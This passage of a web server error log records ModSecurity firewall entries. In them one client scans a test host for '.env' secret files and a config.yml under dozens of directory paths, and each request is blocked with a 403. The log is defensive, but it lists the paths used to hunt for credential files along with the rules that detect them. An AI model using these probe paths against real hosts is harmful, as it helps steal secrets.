[Wed Feb 25 06:04:56.893729 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgwAAAAI&quot;]
[Wed Feb 25 06:04:56.893922 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bitcoind/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWgwAAAAI&quot;]
[Wed Feb 25 06:04:56.920175 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blankon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhAAAAAI&quot;]
[Wed Feb 25 06:04:56.920491 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhAAAAAI&quot;]
[Wed Feb 25 06:04:56.920706 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blankon/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhAAAAAI&quot;]
[Wed Feb 25 06:04:56.959120 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blob/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhQAAAAI&quot;]
[Wed Feb 25 06:04:56.959409 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhQAAAAI&quot;]
[Wed Feb 25 06:04:56.959596 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blob/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhQAAAAI&quot;]
[Wed Feb 25 06:04:56.984372 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blog/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhgAAAAI&quot;]
[Wed Feb 25 06:04:56.984623 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhgAAAAI&quot;]
[Wed Feb 25 06:04:56.984787 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/.env&quot;] [unique_id &quot;aZ6C-FIszkcv5YapLJKWhgAAAAI&quot;]
[Wed Feb 25 06:04:57.041987 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/config/config.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/config.yml found within REQUEST_FILENAME: /config/config.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ3wAAAAY&quot;]
[Wed Feb 25 06:04:57.042243 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ3wAAAAY&quot;]
[Wed Feb 25 06:04:57.042432 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/config.yml&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ3wAAAAY&quot;]
[Wed Feb 25 06:04:57.145566 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blogs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWhwAAAAI&quot;]
[Wed Feb 25 06:04:57.145851 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWhwAAAAI&quot;]
[Wed Feb 25 06:04:57.146038 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blogs/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWhwAAAAI&quot;]
[Wed Feb 25 06:04:57.312513 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /blue/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiAAAAAI&quot;]
[Wed Feb 25 06:04:57.312839 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiAAAAAI&quot;]
[Wed Feb 25 06:04:57.313082 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blue/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiAAAAAI&quot;]
[Wed Feb 25 06:04:57.406071 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bookchain-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiQAAAAI&quot;]
[Wed Feb 25 06:04:57.406379 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiQAAAAI&quot;]
[Wed Feb 25 06:04:57.406572 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bookchain-client/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiQAAAAI&quot;]
[Wed Feb 25 06:04:57.472642 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5QAAAAY&quot;]
[Wed Feb 25 06:04:57.472738 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /bootstrap/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiwAAAAI&quot;]
[Wed Feb 25 06:04:57.472915 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5QAAAAY&quot;]
[Wed Feb 25 06:04:57.472973 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiwAAAAI&quot;]
[Wed Feb 25 06:04:57.473086 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5QAAAAY&quot;]
[Wed Feb 25 06:04:57.473136 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bootstrap/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWiwAAAAI&quot;]
[Wed Feb 25 06:04:57.705174 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /containers/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5gAAAAY&quot;]
[Wed Feb 25 06:04:57.705461 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5gAAAAY&quot;]
[Wed Feb 25 06:04:57.705486 2026] [:error] [pid 2312881] [client 185.177.72.13:44578] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /boxes/oracle-vagrant-boxes/containerregistry/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/boxes/oracle-vagrant-boxes/ContainerRegistry/.env&quot;] [unique_id &quot;aZ6C-VIszkcv5YapLJKWjAAAAAI&quot;]
[Wed Feb 25 06:04:57.705660 2026] [:error] [pid 2312956] [client 185.177.72.13:44564] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/containers/.env&quot;] [unique_id &quot;aZ6C-fjNQqDNAmB2zjqZ5gAAAAY&quot;]
